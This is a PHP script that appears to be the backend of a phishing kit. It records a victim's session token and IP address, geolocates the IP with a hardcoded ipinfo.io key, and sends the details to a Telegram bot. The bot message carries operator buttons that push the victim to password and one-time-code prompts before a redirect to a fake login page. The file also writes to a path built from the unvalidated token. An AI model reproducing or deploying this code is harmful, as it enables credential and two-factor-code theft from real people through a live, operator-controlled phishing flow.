<?php
include "helper.php";
$token=$_POST['token'];

$filePath = "status/" .$token. ".txt";

file_put_contents($filePath, 'pwd');


$ip = $_SERVER['REMOTE_ADDR'];
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
    $ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
    $ip = $_SERVER['REMOTE_ADDR'];
}

$geoip = json_decode(file_get_contents('https://ipinfo.io/'.$ip.'?token=5d67f9ccdaaa11'));

$user_agent = $_SERVER['HTTP_USER_AGENT'];


$message="NEW\ncontinue pressed\nid: <code>".$token."</code>\nip: <code>".$ip."</code>";
$buttons = [
    [
        ['text' => 'CONTINUE', 'callback_data' => 'continue_' . $token],
        ['text' => 'PWD', 'callback_data' => 'pwd_' . $token],
        ['text' => 'CODE', 'callback_data' => 'code_' . $token],
        ['text' => 'THANKS', 'callback_data' => 'break_' . $token],
        ['text' => 'Set Name', 'callback_data' => 'name_' . $token]
    ]
];
$keyboard = json_encode(['inline_keyboard' => $buttons]);
sendTGWithButtons($message, $keyboard);
header("Location: login.php?token=".$token);
